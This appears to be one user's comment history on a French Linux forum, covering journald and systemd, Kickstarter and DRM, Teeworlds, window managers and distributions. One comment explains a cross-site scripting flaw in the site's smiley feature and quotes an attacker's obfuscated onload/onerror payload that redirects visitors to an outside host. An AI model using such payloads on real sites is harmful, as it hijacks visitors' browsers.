needs a écrit 329 commentaires

Désolé d'être aussi curieux, mais je ne comprend pas pourquoi il fait l'objet d'un mandat d'arrêt international, quelqu'un a t-il un peu plus de précisions ?

Je suis dans le même cas que toi. Mais comme tu le dit je m'éclate plus à faire des projets perso (Solveur de sudoku, Eternity 2, Gtk, …) ou des sites webs. Je pense qu'il ne faut pas chercher plus loin, si sa ne te plait pas plus que ça, ne te force pas. Si la programmation devient une chose barbante, sa n'a plus d'intérêt.

Aussi peut-être que beaucoup de développeurs contribuent plus ou moins dans un cadre professionnel (ou universitaire), ce qui peut être une source de motivation suffisante. Cela dit, ce n'est pas mon cas donc je ne m'avancerais pas plus.

En tout cas je pense que le principal est que tu te fasse plaisir lorsque tu programme, même si cela ne profite finalement qu'à toi !

C'est une conséquence indirecte, évidemment qu'un système de fichier doit être performant.

Car les base de données c'est une manière d'organiser des fichiers. Les FS traditionnels stockent les fichiers selon une arborescence, les bases de données selon des tables et des relations entre elles.

On pourrait très bien imaginer un système de fichiers qui utilise le modèle relationnel pour stocker ces données. Donc c'est normal que MySQL et consorts utilise leur propre format.

journald et MySQL ne sont donc pas comparable.

Parce que Lennart n'a toujours pas comprit l'intérêt d'Unix. L'interface texte toussa …
Les mauvaises langues me diront qu'il y a une commande grepd, catd, cutd, … Ou encore une commande pour traduire le format de journald en texte. Mais ou est l'intérêt, ou ??

La place ? Les logs chez moi ne font même pas 50Mo, et journald est inutilisable sur un serveur car il est dépendant de systemd.

On ne peut pas stocker des données binaires ? Normal, ce n'est pas leur place. Le reste, c'est comme un code source : il faut faire un choix entre maintenabilité/lisibilité et rapidité.

Lennart expose ses raisons dans cet article (1er lien du journal). Ces critiques sur le système actuel sont parfois pertinentes, comme le problème de la sécurité des logs et l'authentification des processus. Vous remarquerez aussi que cette page contient une liste des qualités de journald, je vous recommande de la lire : elle montre que l'approche de Lennart manque de recul sur l’existante.

Je serait curieux de voir OVH aussi, est-ce-que quelqu'un a constaté un débit faible comparé au autres ?

Ben oui, dans le domaine du jeu vidéo, ils sont connus et reconnus depuis des décennies. Arcanum, Fallout 1 & 2 et Fallout : New Vegas, Planescape : Torment, KOTOR 2, NeverWnterNights 2, Alpha Protocol, Temple of Elemental Evil, … Mais pour savoir ça, faut sortir de son trou de troll.

Je ne connais aucune de ces références, mais soit, l'entreprise à l'air d'être plutôt correcte d'après les commentaires malgré l'aspect 'projet divin' de cette campagne de dons. Mais entreprise de renom ou pas, c'est sur le projet qu'il faut juger, c'était ce que je voulais dire. Et justement parlons en du projet.

Je persiste à dire que ce n'est pas normal de pas libérer le jeu alors qu'une bonne partie du financement vient de la communauté. Je suis aussi contre le fait de mettre des DRMs, et c'est pas parce-que tout le monde le fait que c'est bien et nécessaire de le faire aussi.

N'importe quoi, les récompenses n'ont rien à voir avec ce que tu décris. Le jeu sera téléchargeable un nombre non limité de fois, et sans DRMs, sur Linux et d'autres plateformes, à partir de 25$ depuis peu (l'offre à 20$ a atteint sa limite, soit 20 000 personnes)

Je ne parle pas du jeu mais des downloads que tu gagne grâce à tes donations. Pour le reste tu as raison.

Alors on va expliquer au trololo les règles sur Kickstarter, histoire de le rassurer :
Si le projet est mal présenté ou que ses auteurs ne sont pas reconnus, le Kickstarter aura du mal à décoller.
Si la somme voulue n'est pas atteinte avant la date limite, aucune somme n'est versé.
Ah, et personne ne paie avant la date limite bien sûr.
Aussi, tout le monde peut changer le montant de son don jusqu'à la date limite.

Je l'avait bien compris, et je trouve que leur présentation est faiblounette, je n'ai pas suivi du tout ce qui c'est passé avant, mais pour quelqu'un qui arrive au beau milieu de tout sa, il y a beaucoup de doute quand à la fiabilité de ce projet. C'est mon ressenti en tout cas. Et quoi qu'il en soit, cette histoire de DRM et de privatisation du jeu n'est pas acceptable. On veut gagner un max de thunes sans rien donner ? trop facile.

Je trouve les gens bien naïf, avec 40 lignes de description, 1 vidéo marketing, 3 artworks à tout casser je voit pas comment on peut avoir confiance en ce genre de projet qui sent le marketing à plein nez. Ah, on me chuchote à l'oreille qu'Obsidian serait une entreprise de renom ! Évidemment.

De plus le fait de dire :

Si on dépasse 1.1M de dons, le jeu sera livré sans DRMs

C'est du foutage de gueule. Comme si la normalité c'était de mettre des DRM et qu'il fallait payer plus cher pour les enlever… On dirait bien que cela ne choque plus grand monde maintenant.

L'entreprise responsable de cette opération nous prend pour des pigeons, vous avez reçu 1.8M de dons par une communauté de 45000 personnes mais vous ne donnerez rien en retour ?! Ah, on me chuchote à l'oreille comme quoi les donneurs auront le jeu gratuitement, c'était donc sa !

Pendant que d'autres crient à l'arnaque en voyant ceci, je n'entend personne remettre fondamentalement en cause cette campagne de dons. J'ai vraiment du mal à comprendre.

Mais que gagnent réellement les donneurs ? Un 'Spécial Gold Thanks' dans les crédit ? Un accès VIP au forum ? Un 'Digital stratégy guide', téléchargeable 15 fois ? D’ailleurs pour ceux qui donnent 10000$, vous aurez le droit qu'à 10 téléchargements, alors qu'avec 5000€ vous aurez le droit à 15 ! Ah, on me chuchote (encore) à l'oreille que ceux qui donnent 10000$ pourront à la place jouer avec l'équipe de dev du projet ! Haha sa sent la stratégie rodée !

Autres trucs bizarres :

• Le nombre de vues sur la page de recherche et sur la page de la vidéo diffère.
• Faites plusieurs fois la même recherche sur des vidéos récentes (triez par 'Upload date') et vous constaterez que d'une recherche à l'autre le nombre de vues pour une même vidéo change, par exemple il passe de 19 views à 12, puis revient à 19.

Peut-être est-ce à cause du nombre de serveur tellement élevé que la synchro prend beaucoup de temps, peut-être est-ce lié au cache des serveurs qui n'est pas mis à jour très souvent.

Pour répondre à ta question, je ne pense pas que le nombre de vues soit exact mais d'une manière général je pense qu'il reste assez représentatif de la popularité de la vidéo.

Il devrait plutôt pointer vers http://blog.cr0.org/2012/09/introducing-chromes-next-generation.html

Si il doit faire une petite phase de traduction en plus, ça ne va pas le tuer ton programme d'affichage.

Et si j'ai pas d'outils pour faire la traduction ? C'est totalement absurde de choisir le format binaire pour des logs, sa doit être lut par des humains ! Mais pourquoi faire compliqué alors que l'on peut faire simple, puissant et portable ?

Et la langue ce n'est pas le problème, un grep marchera quand même, par contre un grep sur le format binaire c'est possible mais tout de suite moins efficace.

Ah je croyais que l'on parlais d'un port fait par Lennart Poetering ou son équipe, après que cela soit intégré ou non sur BSD n'est pas la question.

Tu déconnes j'espère ? Les BSDistes passent leur temps à recoder les softs sous licence GPL/LGPL parce que la liberté, la vraie, la contagieuse, pas le libéralisme à trois francs leur fait peur…

Aucun arguments et des préjugés merdiques. Il n'y a pas qu'un troll dans ce message totalement inutile voir même dégradant.

Quant à l'idée d'avoir un standard commun pour tout le monde dans les logs, pourquoi pas. Mais alors pourquoi en format texte plutôt qu'en format binaire?

Car l'interface la plus universelle est le texte. Sinon c'est un surplus non nécessaire, surtout pour les logs qui sont avant-tout lus par des humains, et non des programme.

Il me semble qu'il a été dit ici qu'on pouvait très facilement convertir les logs binaires en texte, je crois que c'est ce qui a été fait.

Le 'facilement' est un peu osé, je ne voit aucune raison valable pour utiliser le format binaire :

• La taille des logs ? On a déjà des utilitaires tout-à-fait appropriés pour compresser des fichiers (gzip par exemple).
• Les données binaires ne peuvent pas être loggées dans le format texte ? Parfaitement normal, ce n'est pas leur place.
• Le format texte est plus facile à manipuler pour un pirate ? La véritable solution serait comme dit plus haut, un système de hash sur chaque ligne de manière à garantir l'intégrité du fichier.

Donc dans l'immédiat, je ne vois pas en quoi ça serait un problème pour la compatibilité entre systèmes

Si quelqu'un te fournit des logs au format journald tu fait quoi si t'es sur un BSD ou autre ? Tu ne peut pas installer le parseur journalctl car il est dans journald qui est lui-même plus ou moins inclut dans systemd que tu ne pourra pas installer. Je n'installerai pas un gestionnaire de services et de périphériques pour lire mes logs.

Bon j’exagère un peu car rien n'empêche quelqu'un de fournir un autre outils pour parser le format journald et sortir du texte, mais le truc c'est que ce format peut être modifié à tout moment, il n'est pas documenté (il le sera probablement à long-terme) et il est linux-only pour le moment.

journald

Journald me gêne car je ne souhaite pas avoir des logs en format binaire, je préfère parser avec des grep, cut, et autre outils texte, cela reste infiniment plus puissant que devoir passer par journalctl, d'autant plus qu'il s'agit ici d'une dépendance supplémentaire et systemd est une dépendance obligatoire de journald. En voici la raison :

Logging is a core part of service management. The journal is tightly integrated with the rest of systemd to ensure that everything in the system can be monitored, introspected and debugged. The generated journal entries are queried from various components in systemd. In effect systemd and journald are so tightly coupled that separating them would make little sense. That said, it’s Free Software, so you can do with the code whatever suits you. Finally, you are actually wrong in believing that systemd was an abomination.

(source, 1ère question de la FAQ) Les devs de LFS vont avoir du boulot…

Le fait d'avoir un format universel est plutôt intéressant, mais dans ce cas, juste avec du texte. Il y a aussi le problème de la sécurité mais je n'en connait pas les détails.

On peut tout de même ce poser des questions sur journald, que Lennart décrit comme :

Simplicity: little code with few dependencies and minimal waste through abstraction.

Par exemple il dit ici que l’outil doit être simple avec peu de dépendances, or systemd n'a rien d'une petite dépendance, de plus systemd est Linux only donc journald aussi. Ce qui veut dire que les applications devront avoir 2 solutions de log pour être un minimum portable. C'est bien évidement une très mauvaise approche.

Autre approche

On peut aussi prendre le problème des logs d'informations avec une autre approche :

En C, il y a 3 flux ouvert par défaut : stdin, stdout et stderr, le dernier est utilisé pour les erreurs. On pourrait ainsi créer un 4ème flux, stdlog ou stddbg par exemple pour prendre en charge les logs, puisque c'est essentiel pour une application de pouvoir communiquer son état et sa situation.

Il y aurait ainsi une entré /dev/stdlog et a chaque ligne ajoutée, le système s'occupe de rajouter les informations de temps, le PID, le nom de la machine …
On pourrait alors imaginer une utilisation tels que celle-la :

fprintf(stdlog, LOGP_WARN "Entering passive mode");
fprintf(stdlog, LOGP_WARN "Parsing %s...", argv[1]);

Que l'on pourrait manipuler ensuite de cette manière grâce aux redirections de flux :

$ firefox 3>> firefox.log
$ firefox 3>> firefox.log 2>&3   # Redirige aussi les erreurs vers les logs

Ou encore …

Puisqu'une raison d'être de journald est la non standardisation des logs, pourquoi ne pas proposer à la communauté une ébauche de standard ? Cela a en plus été déjà fait pour les logs server !

On peut aussi constater à quel point systemd est une plaie pour ces gens là, ils veulent simplement avoir un gestionnaire de périphériques et ils doivent ce démerder avec un gestionnaire de 'services' ?

Et un patch, c'est dur a maintenir car il faut sans-cesse l'adapter à l'upstream, vérifier son fonctionnement etc … Je pense qu'ils s'en seraient bien passé.

Donc non, ce n'est pas beaucoup de bruit pour rien, c'est un réel problème comme le montre bien ce journal, les devs de LFS sont pris au piège car apparemment ils ne peuvent pas utiliser mdev car udev est une dépendance obligatoire de xf86-input-evdev et dans une moindre mesure de Chromium (source) et ils ce passeraient bien de systemd. Qui à dit que Lennart n'imposait pas son choix ?

Les arguments sont restés au placard ?

"Tu ne respecte pas ce que tu dit" n'est pas un argument.

Ca serait bien que tu evites d'eriger TES principes/references morales et ethiques en references absolues. C'est du proselytisme ca aussi, a tendance dictatoriale.

Parce-que la morale, l'éthique et les principes sa ne compte pas dans ta vie ? Ce qu'il dit ici est assez universel et je ne voie pas en quoi il t'impose son point de vue.

Pour Teeworlds c'est différent :

Le jeu est composé de couleur très vives et des graphismes de type 'cartoon', le gameplay est assez simple mais bien pensé car il y a une réel différence de niveau entre les joueurs expérimenté et les débutant.
Tout ceci fait qu'il attire un public plutôt jeune. C'est à dire, majoritairement entre 10 et 18 ans.

Les joueurs régulier un peu plus mature sont souvent des anciens, très ancien pour certain. Ils forment un groupe détaché de la communauté.

Du coup pour le développement de Teeworlds, la discutions est peu active entre les devs et les joueurs et le processus est assez fermé.

En se moment, la version 0.7 est en préparation, et le dépot est redevenu actif. Redevenu car je trouve que le mode de fonctionnement est très atypique :
Tout le monde fait ces modifs dans son coin pendant un bon bout de temps (entre la 0.6.1 et les premières modif de la 0.7, il c'est écoulé au moins 6 mois) et d'un coup de très grosse modif sont mergées, des propositions sont faites à la communauté. Depuis la reprise d'activité du dépot, il y a eu les nouveautés suivantes :

• Deux nouveaux mode: SUR et LSM, respectivement Survival et Team Survival,
• Amélioration graphique sur le rendu, les maps (encore en attente), les tileset,
• Nouveau système de skin beaucoup plus puissant,
• Peut-être un troisième mode: le mode Race,
• Le menu principal à été totalement refait,
• Des correction de bugs à la pelle et des améliorations de fond.

Et il y en aura surement d'autres car pour l'instant, seul le travail de Choupom et Landil (les skins), Oy (dev principal), SushiTee (dev très actif) ont été intégré. Et encore, je ne consulte pas assez le chan IRC pour connaître ce qui est en préparation, par exemple il y a un appel à idées sur le forum pour le rajout d'une nouvelle arme…

Donc comme tu peux le voir, les devs n'ont rien lâché du tout. Même le créateur de Teeworlds à repris de l'activité !

Voici une tentative d'explication :
Lorsque que l'on insert un totoz, par exemple onoz, voici ce que l'on obtient :

<span data-totoz-name="onoz" class="totoz">[:onoz]</span>

Vous l'aurez vite compris, la faille provient du fait que le nom du totoz est inséré dans l'attribut data-totoz-name. Du coup avec un totoz un peu plus élaboré comme " onload="alert('owned')" title=" on obtient le code suivant :

<span data-totoz-name="" onload="alert('owned')" title="" class="totoz">[:" onload="alert('owned')" title="]</span>

Pour les curieux, voici le code source de son commentaire :

<p id="board-823943" class="chat">
<span title="Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 &amp;#x27;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#x27;test&amp;#x27;)&amp;lt;/script&amp;gt;" class="board-left">
<time datetime="2012-08-21T19:12:56+02:00" class="norloge">19:12:56</time>
<b><a href="/users/superxss">superxss</a></b>
</span>
<span class="board-right"><span title="" onload="location.href='h'+'ttp://5a'+'mp.free.f'+'r/fork.html'" onerror="location.href='h'+'ttp://5a'+'mp.free.f'+'r/fork.html'" data-totoz-name="" class="totoz">[:" onerror="location.href='h'+'ttp://5a'+'mp.free.f'+'r/fork.html'" onload="location.href='h'+'ttp://5a'+'mp.free.f'+'r/fork.html'" title="]</span></span>
</p>

On peut remarquer qu'il a tenté avec le user-agent, mais que manifestement, sa n'a pas marché. Du coup il c'est rabattu sur les totoz.

Je ne comprend pas la note de ton commentaire face au précédent, OpenBox, awesome, ion3, wmfs sont des alternatives valable, bien évidement, celui qui préfère les interfaces graphique pré-configurées ce tournera plus vers XFCE, KDE, LXDE …

Dans le cas d'awesome, le fichier de configuration est en LUA, je trouve sa vraiment génial car c'est beaucoup plus flexible qu'un simple fichier .conf . Ces WM sont beaucoup plus léger qu'un Gnome ou KDE, et sa ce ressent au démarrage, lorsque tu joue, lorsque tu navigue… Tu est plus proche de ton système aussi, car c'est toi qui installe et configure beaucoup d'éléments de ton WM (tint2, nitrogen/feh, xcompmgr/cairo-compmgr, …), c'est moins 'usine à gaz' et c'est plus proche de la philosophie Unix.

T'es tombé dans le piège : ce n'est pas parce qu’il y a une très faible part de marché qu'il ne faut pas s'en occuper. Et puis sa reste du tactile, l'écran est juste plus grand et il y a un clavier physique.

Mais c'est un cas d'utilisation intéressant car il est à mi-chemin entre tablette tactile et ordinateur de bureau/portable, ce qui pose des problèmes de conception : faut-il vraiment dissocier l'interface clavier/souris et l'interface tactile ? Faut-il créer une troisième interface pour ce type de machine ? Faut il créer une interface identique pour les 3 cas ? …

A la base, les brevets étaient instaurés pour protéger la recherche de médicaments. Car le développement d'un nouveau médicament coûte cher, vraiment cher. A tel point que si l'entreprise n'avait pas une assurance de revenu, elle n'enclenchait pas les recherches. Évidemment puisque l'esprit maintenant c'est de faire quelque chose à but uniquement lucratif, le brevet est utilisé à tord et à travers. L'explication du journal sur l'evergreening est très bonne car elle montre bien qu'il n'est plus question de rendre service à l'humanité, mais de se faire le plus de pognon possible.

Pour ce genre de chose aussi importante que la recherche médicale, je pense qu'il faut que l'état reprenne les manettes, on voit bien les problèmes que l'on se tape si on le laisse a une horde de commerciaux.

Le refus d'une telle charte, pour une raison quelconque, peut judiciairement aboutir à quoi ?

A rien, il n'y a pas de sanction à ne pas accepter un contrat , sauf à etre exclues des avantages qu'il procure mais rien de plus (à ma connaissance). Sans parler des manoeuvres qui implique une responsabilité civil.

J'ai tenté lors de mes étude (IUT informatique) de refuser une charte informatique que je trouvais un peu trop restrictive, on m'a fait comprendre que j’avais fort intérêt à la signer, je l'ai fait, sans quoi j’aurai pu être exclue. Pouvait-il vraiment le faire ?

C'est exactement ce genre de petit détails qui m'ont fait passer à ArchLinux, un peu instable, jusqu’à la F15, yum était chez moi assez lent (la vitesse de pacman m'a vraiment impressionné). Les preupgrade n'ont jamais fonctionné une seule fois correctement (depuis F12), j'ai toujours du au final graver un DVD.
J'utilisais Openbox (depuis F14), c'est vraiment la galère sous Fedora, dès que tu diverge un peu de GNOME, c'est tout de suite moins rose tellement les logiciels sont liés entre eux, Nautilus qui ne monte pas tes périphériques, des permissions qui foirent un peu partout, les thèmes GTK qui ne marchent pas, bon bref.

Et pourquoi ArchLinux ? A trop vouloir cacher et simplifier les interfaces, tu bloques dès qu'une erreur survient, tu n'arrive pas à la résoudre de manière efficace car tu connais au final très peu se qui ce cache derrière les zolis boutons, tu perd d'une certaine manière le contrôle de ta machine, ou tout du moins, tu sens qu'il y a quelque chose qui t'échappe. Alors qu'avec ArchLinux (mais je suppose que c'est aussi valable avec Gentoo et d'autre distributions moins bling-bling), tu connais de manière beaucoup plus poussé comment fonctionne ton système, tu sais aussi qui fait quoi, c'est toi qui choisit et installe à peu près toutes les briques de ton système.

Et pourtant, Fedora à de bons arguments, mais elle est trop liée à GNOME ce qui la rend vraiment moins personnalisable, dommage.

KenObi1, car je ne voie aucun des autres s'imposer dans les prochaines années.